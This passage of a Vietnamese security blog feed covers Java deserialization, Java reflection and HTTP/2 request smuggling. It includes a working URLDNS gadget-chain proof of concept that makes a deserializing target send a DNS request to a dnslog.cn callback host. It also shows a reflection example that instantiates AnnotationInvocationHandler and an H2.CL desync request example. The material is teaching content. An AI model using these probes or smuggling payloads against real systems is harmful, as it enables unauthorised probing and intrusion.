<code>return hashCode</code> bởi vì nó đã được set rồi.</li><li>Nếu không thì <code>hashCode</code> sẽ được gán bằng <code>handler.hashCode(this)</code>, this ở đây có nghĩa là nó sẽ lấy object của lớp hiện tại đưa vào handler.hashCode rồi thực hiện tiếp.<br>Tiến hành <code>Ctrl+Chuột trái</code> rồi nhấn vào handler để đi đến nơi mà biến hanler được tạo.<br><code>Ảnh biến handler</code><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">transient</span> URLStreamHandler handler;</span><br></pre></td></tr></table></figure>Biến handler ở đây là một object của lớp <code>URLStreamHandler</code>, object này sẽ gọi đến phương thức hashCode() được định nghĩa trong lớp này. Tiến hành <code>Ctrl+Chuột trái</code> rồi click vào <code>URLStreamHandler</code>, rồi tìm đến phương thức hashCode().</li></ul><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/IntroduceToDeser/HashCodeOfURLStreamHandler.webp"></p><p>Trong phương thức này chúng ta thấy dòng <code>InetAddress addr = getHostAddress(u);</code> có nghĩa là nó sẽ thực hiện một yêu cầu DNS đến địa chỉ URL để thực hiện getHostAddress. Đến đây ta đạt được mục đích của Chain này đó là request đến địa chỉ URL mà ta cung cấp. Còn lại phần sau và việc nó thực hiện request thế nào thì chúng ta không cần quan tâm, chỉ vậy là đã đủ (Đương nhiên bạn nào thích thì cứ tìm hiểu nhé ^^).</p><h2 id="3-POC-cho-chuoi-URLDNS"><a href="#3-POC-cho-chuoi-URLDNS" class="headerlink" title="3. POC cho chuỗi URLDNS:"></a>3. POC cho chuỗi URLDNS:</h2><p>Link nhận DNS request: <a href="http://dnslog.cn/">http://dnslog.cn/</a></p><h3 id="Chu-y-khi-thuc-hien-serialize-object-cua-lop-HashMap"><a href="#Chu-y-khi-thuc-hien-serialize-object-cua-lop-HashMap" class="headerlink" title="Chú ý khi thực hiện serialize object của lớp HashMap:"></a>Chú ý khi thực hiện serialize object của lớp HashMap:</h3><p>Filename: SerializeTest.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> BasicChain;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SerializeTest</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;Ser2.txt&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        HashMap&lt;URL, Integer&gt; hashmap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;URL, Integer&gt;();</span><br><span class="line">        hashmap.put(<span class="keyword">new</span> <span class="title class_">URL</span>(<span class="string">&quot;https://0tvykt.dnslog.cn&quot;</span>), <span class="number">1</span>);</span><br><span class="line">        serialize(hashmap);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Sau khi chạy file này, dù chưa thực hiện deserialize file <code>Ser2.txt</code> mà chúng ta đã nhận được request đến. Nguyên nhân là do khi thực hiện gán giá trị vào object hashmap bằng hashmap.put(), hàm hash trong phương thức này đã được thực hiện và sẽ request đến địa chỉ URL mà ta cung cấp.<br><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/IntroduceToDeser/HashMapPutMethod.webp"><br>Sau khi request đến URL, biến hashcode bây giờ đã không còn là -1 nữa, khi đó trong quá trình deserialize request sẽ không được gửi đến. Vậy nên sau khi thực hiện deserialize, chúng ta cần thực hiện set lại giá trị cho hashcode là -1. Tuy nhiên vấn đề ở đây là biến hashcode là private, để gán lại giá trị cho biến private chúng ta cần sử dụng đến Reflection mà mình đã có bài viết về nó.<br><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/IntroduceToDeser/HashCodeOfURLObject.webp"></p><h3 id="POC-hoan-thien-cua-chuoi-URLDNS"><a href="#POC-hoan-thien-cua-chuoi-URLDNS" class="headerlink" title="POC hoàn thiện của chuỗi URLDNS:"></a>POC hoàn thiện của chuỗi URLDNS:</h3><p>file: SerializeTest.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> BasicChain;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SerializeTest</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;Ser2.txt&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, NoSuchFieldException, IllegalAccessException &#123;</span><br><span class="line">        HashMap&lt;URL, Integer&gt; hashmap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;URL, Integer&gt;();</span><br><span class="line">        <span class="type">URL</span> <span class="variable">url</span>  <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">URL</span>(<span class="string">&quot;https://2g1hil.dnslog.cn&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">hashcode</span> <span class="operator">=</span> URL.class.getDeclaredField(<span class="string">&quot;hashCode&quot;</span>);</span><br><span class="line">        <span class="comment">//Field hashcode = url.getClass().getDeclaredField(&quot;hashCode&quot;); Cách khác để lấy field hashcode</span></span><br><span class="line">        hashmap.put(url, <span class="number">1</span>);</span><br><span class="line">        hashcode.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        hashcode.set(url, -<span class="number">1</span>);</span><br><span class="line">        serialize(hashmap);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>file: Deser.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> BasicChain;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Deser</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">Deserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        Deserialize(<span class="string">&quot;ser2.txt&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Kết quả:</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/IntroduceToDeser/DNSresult.webp"></p><p>Vậy là mình đã giới thiệu xong về cơ bản của quá trình Deserialization và đi qua hết chuỗi URLDNS. Đây chỉ là những kiến thức cơ bản của lỗ hổng Java Deserialization. Để hiểu sâu hơn về lỗ hổng này, mình thực sự khuyên các bạn hãy hiểu tường tận về những keyword sau: “Class Class”, “Class Object”, “Class Runtime”, “Reflection”, các khái niệm về OOP, và còn nhiều thứ khác nữa. Và hãy cố gắng đọc hiểu và tự mình viết POC cho lỗ hổng này, khá khó để bắt đầu nhưng hi vọng các bạn có thể vượt qua.</p><blockquote><p>Hành trình nào mà không có gian nan, đau khổ ^^… Chúc các bạn học tốt~</p></blockquote>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/categories/Java/Deserialization/">Deserialization</category>
      
      
      <category domain="https://rayinaw.github.io/tags/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/tags/Deserialization/">Deserialization</category>
      
      
      <comments>https://rayinaw.github.io/2022/11/03/JavaDeserializationBasic/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Java Reflection</title>
      <link>https://rayinaw.github.io/2022/11/02/Java-reflection/</link>
      <guid>https://rayinaw.github.io/2022/11/02/Java-reflection/</guid>
      <pubDate>Wed, 02 Nov 2022 16:23:23 GMT</pubDate>
      
        
        
      <description>&lt;p&gt;Lớp Java Reflection là một lớp thường xuyên được sử dụng vì sự tiện nghi của nó, nên chúng ta cũng có thể thường xuyên thấy những lớp này</description>
        
      
      
      
      <content:encoded><![CDATA[<p>Lớp Java Reflection là một lớp thường xuyên được sử dụng vì sự tiện nghi của nó, nên chúng ta cũng có thể thường xuyên thấy những lớp này khi đi sâu vào những lỗ hổng của Java. Ngoài ra, trong Java Deserialization ta thường dùng lớp này để có thể truy cập vào các thuộc tính Private. </p><p>Trước khi đọc bài viết này, các bạn nên tìm hiểu lớp Class, Object.</p><p>Tản mạn thế là đủ rồi, ta cùng đi vào bài viết nào o(￣▽￣)ブ</p><h1 id="Java-Reflection"><a href="#Java-Reflection" class="headerlink" title="Java Reflection"></a>Java Reflection</h1><h2 id="1-Khai-niem"><a href="#1-Khai-niem" class="headerlink" title="1. Khái niệm:"></a>1. Khái niệm:</h2><p>Reflection là một tính năng của java, nó cho phép một chương trình đang chạy trực tiếp lấy ra các thuộc tính, phương thức,… và thao tác với nó.</p><p>Một điểm đặc biệt của Java reflection là nó cho phép thay đổi các thuộc tính Private của một Object.</p><h2 id="2-Cac-ham-cua-Java-reflection"><a href="#2-Cac-ham-cua-Java-reflection" class="headerlink" title="2. Các hàm của Java reflection:"></a>2. Các hàm của Java reflection:</h2><p>Ở đây mình chỉ liệt kê ra những hàm thường dùng của Reflection.</p><h3 id="Lay-ra-thuoc-tinh-cua-mot-lop-Field"><a href="#Lay-ra-thuoc-tinh-cua-mot-lop-Field" class="headerlink" title="Lấy ra thuộc tính của một lớp (Field):"></a>Lấy ra thuộc tính của một lớp (Field):</h3><p>Trong lớp Class có hai phương thức để lấy ra trường ở trong một lớp là getDeclaredFields() và getDeclaredField(String name).</p><ul><li>Phương thức getDeclaredFields() sẽ lấy ra tất cả những trường có ở trong class của object đó.</li><li>Phương thức getDeclaredField(String name) sẽ lấy ra một trường có tên là String mà chúng ta truyền vào.</li></ul><p>Hai phương thức này tương tự nhau chỉ là phương thức getDeclaredFields() sẽ lấy ra tất cả các field của Class đó rồi cho vào một mảng nên các bạn tự tìm hiểu nhé..</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">person</span>&#123;</span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">person</span><span class="params">(String name)</span>&#123;</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(String name)</span>&#123;</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">toString</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;Person: &quot;</span>+ <span class="string">&quot;name = &#x27;&quot;</span>+ name + <span class="string">&quot;&#x27;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">reflectionClass</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NoSuchFieldException, IllegalAccessException &#123;</span><br><span class="line">        <span class="type">person</span> <span class="variable">a</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">person</span>(<span class="string">&quot;helen&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">name</span> <span class="operator">=</span> a.getClass().getDeclaredField(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">        name.setAccessible(<span class="literal">true</span>);<span class="comment">//Cho phép truy cập tạm thời vào biến name để thay đổi, đây là cái hay của reflection.</span></span><br><span class="line">        name.set(a, <span class="string">&quot;Sayo&quot;</span>);</span><br><span class="line">        System.out.println(a);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Lay-ra-phuong-thuc-cua-mot-lop"><a href="#Lay-ra-phuong-thuc-cua-mot-lop" class="headerlink" title="Lấy ra phương thức của một lớp:"></a>Lấy ra phương thức của một lớp:</h3><table><thead><tr><th>Method</th><th>Public</th><th>Non-public</th><th>Inherited</th></tr></thead><tbody><tr><td>getMethod &amp; getMethods</td><td>✔️</td><td>❌</td><td>✔️</td></tr><tr><td>getDeclaredMethod &amp; getDeclaredMethods</td><td>✔️</td><td>✔️</td><td>❌</td></tr></tbody></table><ul><li><h4 id="Phuong-thuc-getMethod-va-getMethods"><a href="#Phuong-thuc-getMethod-va-getMethods" class="headerlink" title="Phương thức getMethod() và getMethods():"></a>Phương thức getMethod() và getMethods():</h4>Hàm getMethod() và getMethods() sẽ có thể lấy những method public và những method được kế thừa từ lớp cha của nó. Lớp getMethod() sẽ trả về một phương thức xác định, còn lớp getMethods() sẽ trả về một mảng các phương thức.</li><li><h4 id="Phuong-thuc-getDeclaredMethod-va-getDeclaredMethods"><a href="#Phuong-thuc-getDeclaredMethod-va-getDeclaredMethods" class="headerlink" title="Phương thức getDeclaredMethod() và getDeclaredMethods():"></a>Phương thức getDeclaredMethod() và getDeclaredMethods():</h4>Hàm getDeclaredMethod() và getDeclaredMethods() sẽ lấy ra những phương thức được định nghĩa ở trong class hiện tại, bao gồm cả Public và Non-public nhưng không thể lấy những class kế thừa như của getMethod(). Tương tự như vậy, lớp getDeclaredMethod() sẽ trả về một phương thức xác định, còn lớp getDeclaredMethods() sẽ trả về một mảng các phương thức.</li></ul><hr><p>Các phương thức đều tương tự nhau nên mình sẽ chỉ đưa ra một ví dụ:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">person</span>&#123;</span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">person</span><span class="params">(String name)</span>&#123;</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(String name)</span>&#123;</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">work</span><span class="params">(String a, String b)</span>&#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;Do something....&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">toString</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;Person: &quot;</span>+ <span class="string">&quot;name = &#x27;&quot;</span>+ name + <span class="string">&quot;&#x27;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">reflectionClass</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">person</span> <span class="variable">a</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">person</span>(<span class="string">&quot;helen&quot;</span>);</span><br><span class="line">        <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> a.getClass().getMethod(<span class="string">&quot;work&quot;</span>, String.class, String.class);</span><br><span class="line">        method.invoke(a, <span class="string">&quot;a&quot;</span>, <span class="string">&quot;b&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li><p><code>Class.getMethod()</code> nhận tham số đầu là string với tên của method, các tham số sau là lớp của đối số mà method cần lấy ra nhận vào. Như ví dụ trên, lớp work nhận vào 2 tham số là String nên chúng ta sẽ truyền vào String.class,…</p></li><li><p>method lấy ra bây giờ là một object của lớp <code>Method</code> bây giờ nó đại diện cho các method của những object thuộc chung một class có method được lấy ra. Trong lớp Method có một hàm invoke() dùng để gọi cái method đó. Và đương nhiên method bây giờ chưa phải là của object nào mà nó chỉ chung chung, bây giờ hàm invoke() sẽ nhận đối số đầu tiên là object chứa method đó, các giá trị sau là các tham số của method. </p></li><li><p>Lưu ý method chỉ sử dụng nếu các object là chung một class.</p></li></ul><h3 id="Phuong-thuc-getConstructor-va-getConstructors"><a href="#Phuong-thuc-getConstructor-va-getConstructors" class="headerlink" title="Phương thức getConstructor() và getConstructors():"></a>Phương thức getConstructor() và getConstructors():</h3><p>Phương thức này giúp chúng ta lấy ra một Constructor của một lớp và đưa vào lớp Constructor, từ Constructor được lấy ra, chúng ta có thể tạo một Object bằng hàm newInstance() ở trong lớp Constructor.<br>Phương thức getConstructors() tương tự, chỉ khác là nó sẽ đưa vào mảng.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        Class&lt;person&gt; personClass = person.class;</span><br><span class="line">        Constructor&lt;person&gt; personConstructor = personClass.getConstructor(String.class);</span><br><span class="line">        <span class="type">person</span> <span class="variable">a</span> <span class="operator">=</span> personConstructor.newInstance(<span class="string">&quot;Makune&quot;</span>);</span><br><span class="line">        System.out.println(<span class="string">&quot;person: &quot;</span> + a);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><h3 id="Lay-ra-mot-lop-ma-khong-the-thao-tac-truc-tiep"><a href="#Lay-ra-mot-lop-ma-khong-the-thao-tac-truc-tiep" class="headerlink" title="Lấy ra một lớp mà không thể thao tác trực tiếp:"></a>Lấy ra một lớp mà không thể thao tác trực tiếp:</h3><h4 id="Phuong-thuc-forName"><a href="#Phuong-thuc-forName" class="headerlink" title="Phương thức forName"></a>Phương thức forName</h4><p>Để lấy ra một class chúng ta dùng phương thức forName.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="comment">//Lấy ra lớp AnnotationInvocationHandler</span></span><br><span class="line">    <span class="type">Class</span> <span class="variable">aihClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">    <span class="comment">//Lấy ra Constructor của lớp AnnotationInvocationHandler</span></span><br><span class="line">    <span class="type">Constructor</span> <span class="variable">aihConstructor</span> <span class="operator">=</span> aihClass.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">    <span class="comment">//Lớp này khởi tạo default nên chúng ta phải setAccessible(true)</span></span><br><span class="line">    aihConstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">    <span class="comment">//Sử dụng constructor</span></span><br><span class="line">    <span class="comment">//Vì chúng ta không có quyền với lớp AnnotationInvocationHandler nên chúng ta không thể tạo Object kiểu AnnotationInvocationHandler, do đó chúng ta phải đặt kiểu là Object hoặc kiểu mà lớp AnnotationInvocationHandler kế thừa.</span></span><br><span class="line">    <span class="type">Object</span> <span class="variable">aihObject</span> <span class="operator">=</span> aihConstructor.newInstance(Override.class, <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/categories/Java/Programming/">Programming</category>
      
      
      <category domain="https://rayinaw.github.io/tags/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/tags/Reflection/">Reflection</category>
      
      <category domain="https://rayinaw.github.io/tags/Programming/">Programming</category>
      
      
      <comments>https://rayinaw.github.io/2022/11/02/Java-reflection/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>HTTP request smuggling với HTTP/2.0</title>
      <link>https://rayinaw.github.io/2022/11/02/http-request-smuggling-HTTP-2.0/</link>
      <guid>https://rayinaw.github.io/2022/11/02/http-request-smuggling-HTTP-2.0/</guid>
      <pubDate>Wed, 02 Nov 2022 16:23:23 GMT</pubDate>
      
        
        
      <description>&lt;h1 id=&quot;Loi-noi-dau&quot;&gt;&lt;a href=&quot;#Loi-noi-dau&quot; class=&quot;headerlink&quot; title=&quot;Lời nói đầu:&quot;&gt;&lt;/a&gt;Lời nói đầu:&lt;/h1&gt;&lt;p&gt;Bài viết trước mình đã nói về kh</description>
        
      
      
      
      <content:encoded><![CDATA[<h1 id="Loi-noi-dau"><a href="#Loi-noi-dau" class="headerlink" title="Lời nói đầu:"></a>Lời nói đầu:</h1><p>Bài viết trước mình đã nói về khái niệm cơ bản của HRS và một số dạng cơ bản với HTTP&#x2F;1.1. Bài viết này mình sẽ đi vào HRS với HTTP&#x2F;2.0, nó khá phức tạp hơn so với HTTP&#x2F;1.1 tuy nhiên cũng không khó lắm đâu ^^. Cùng đi vào bài nhé~</p><h2 id="HTTP-request-smuggling-voi-HTTP-x2F-2-0"><a href="#HTTP-request-smuggling-voi-HTTP-x2F-2-0" class="headerlink" title="HTTP request smuggling với HTTP&#x2F;2.0"></a>HTTP request smuggling với HTTP&#x2F;2.0</h2><p>Tham khảo: <a href="https://portswigger.net/research/http2">https://portswigger.net/research/http2</a></p><h3 id="HTTP-x2F-2-downgrading"><a href="#HTTP-x2F-2-downgrading" class="headerlink" title="HTTP&#x2F;2 downgrading"></a>HTTP&#x2F;2 downgrading</h3><p>Nguồn gốc chính của lỗ hỏng này là front-end server  sử dụng giao thức HTTP&#x2F;2 để giao tiếp với máy khách trong khi đó nó lại dùng HTTP&#x2F;1.1 để giao tiếp với back-end server.</p><p><img src="https://github.com/user-attachments/assets/d05ea5a2-99a9-434d-8177-0be932babaf5" alt="image"></p><p>Khi đó user có thể chèn thêm các phần độc hại vào header mà hợp lệ với HTTP&#x2F;2, tuy nhiên nó lại được phân tích ở máy chủ back-end với giao thức HTTP&#x2F;1.1, khi đó lỗi HRS sẽ xảy ra.</p><p>Front-end HTTP&#x2F;2 server thường sử dụng message length có sẵn trong các data frames gửi đi theo giao thức này. Trong khi để Backend hiểu được thì cần downgrade xuống HTTP&#x2F;1 bao gồm 2 loại là TE và CL dẫn đến lỗi H2-TE và H2-CL.</p><h3 id="H2-CL-Desync"><a href="#H2-CL-Desync" class="headerlink" title="H2.CL Desync:"></a>H2.CL Desync:</h3><p>Theo <a href="https://datatracker.ietf.org/doc/html/rfc7540">HTTP&#x2F;2 RFC</a>, ta có độ dài ở trong mỗi frame do đó tiêu đề Content-length là không cần thiết, tuy nhiên vẫn có thể đặt Content-length trong header.</p><p>Khi user gửi request đến front-end server có chứa trường <code>Content-Length</code>, front-end server có thể sẽ chấp nhận trường này dù độ dài không đúng. Sau đó nó sẽ hạ cấp request từ HTTP&#x2F;2.0 xuống HTTP&#x2F;1.1 và giữ nguyên trường <code>Content-Length</code>, tại back-end server nó có phân tích trường <code>Content-Length</code> với giá trị mà user cho vào, bây giờ user có thể chèn thêm các phần độc hại và một giá trị <code>Content-Length</code> không phù hợp với server để trigger HRS.</p><p>Ví dụ:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">:method POST</span><br><span class="line">:path /</span><br><span class="line">:authority example.com</span><br><span class="line">content-length <span class="number">4</span></span><br><span class="line">aaaaGET /abc HTTP/<span class="number">1.1</span></span><br><span class="line">Host: example.com</span><br><span class="line">Foo: Bar</span><br></pre></td></tr></table></figure><p>Sau khi hạ cấp nó sẽ tạo thành yêu cầu như sau:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: example.com</span><br><span class="line">Content-Length: <span class="number">4</span></span><br><span class="line"></span><br><span 